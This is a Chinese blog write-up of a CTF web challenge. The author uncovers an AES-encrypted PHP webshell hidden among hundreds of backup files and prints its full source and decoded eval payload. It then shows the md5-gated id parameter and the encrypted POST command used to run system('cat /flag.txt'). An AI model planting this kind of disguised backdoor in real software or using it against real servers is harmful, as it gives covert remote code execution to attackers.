侧边栏壁纸
  • 累计撰写 19 篇文章
  • 累计收到 4 条评论
CTF

2024网鼎杯模拟赛第二次WEB03

eson
2024-10-26 / 0 评论 / 72 阅读 / 正在检测是否收录...

这个题怎么说呢,很难评,涉及的知识点不多,就是需要有足够足够的耐心!

打开题目,一看就是有网站备份。

微信截图_20241026153933.png

dirsearch扫描一下,发现有各种后缀的备份包,但是基本上包的内容都是一样的,可能是担心大家使用的扫描工具不同,怕扫描不到。

解压后,你会发现。

微信截图_20241026154132.png

没错,698个文件,第一反应就是D盾来扫一下。这里懒得截图了,直接说,就是啥都扫描不出来。

然后放到Notepad++里面批量查询了 $_GET $_POST $_FILE $_REQUEST 等,均没有可利用的点。

然后因为是模拟赛,当时是没耐心一个一个看的,后来群里小伙伴说发现端倪了。

describedssTest.php

这个文件里面有AES加密函数。

<?php 
error_reporting(0);
header('Content-type: text/html; charset=utf-8');
$p8='3b7430adaed18facca7b799229138b7b';
$a8='TURNeU9UWTBOelUwTmprd05UUTVOR0ZLV1ZwdU9XSkZORmh2WnpoS1RrNW1jRTFrTkdjOVBRPT0=';
$d8='TURNeU9UWTBOelUwTmprd05UUTVOR012V1c5cVJXNXBkWEJyZDFsemJsQlpNMmRITjNaYWVFVnFPVWRqVnpoWlUyNXZNbmhDU21jd2RHTkxRazF2U1hvMU9FNUNWM2RNUjFWYVJuVnBiV3czUlVwUldFMTFhakp2VjJKS1NIVlJUMU5UYjNoSWExUk5hMlZXY21OdlRuaHVRMjlsVkV4aEwzbGpQUT09';
$v8='0329647546905494';
function e($D,$K){
    $cipher='aes-128-cbc';
    $encrypted=openssl_encrypt($D,$cipher,$K,0,$GLOBALS['v8']);
    $result=base64_encode($GLOBALS['v8'].$encrypted);
    $result=base64_encode($result);
    return $result;
}
function d($D, $K){
    $cipher='aes-128-cbc';
    $decodedData=base64_decode(base64_decode($D));
    $encryptedData=substr($decodedData, openssl_cipher_iv_length($cipher));
    $decrypted=openssl_decrypt($encryptedData,$cipher,$K,0,$GLOBALS['v8']);
    return $decrypted;
}
    
$a8=trim(d($a8,$p8));
ob_start();
$a8(trim(d($d8,$p8)));
$O=ob_get_contents();
ob_end_clean();
echo e($O,$p8);

这里面的 $a8=trim(d($a8,$p8)); 以及trim(d($d8,$p8)) 非常可疑,我们把它输出出来。

assert@eval("if(md5(@\$_GET['id'])===\$p8){@eval(trim(d(\$_POST['d'],\$p8)));}")

那么问题来了, $p8 的md5前的值是啥?

微信截图_20241026154538.png

几个平台都试了,就是需要付费,后来群里有小伙伴据说是花了十块钱,于是得到

04c50eb4bc04c76311d03550ee2c1b71

据说是 20241026 两次md5得到的$p8 ,懒得验证。得到了就行。

那么第一段payload就出来了

describedssTest.php?id=04c50eb4bc04c76311d03550ee2c1b71

接下来就很简单了,构造语句

$r = "system('cat /flag.txt');"; // 这里说一下,ls / 后发现的
echo trim(e($r,$p8));

然后POST传参,再把返回的值进行一次 d 函数的解密就行了。

这题!很难评!!!

1

评论 (0)

取消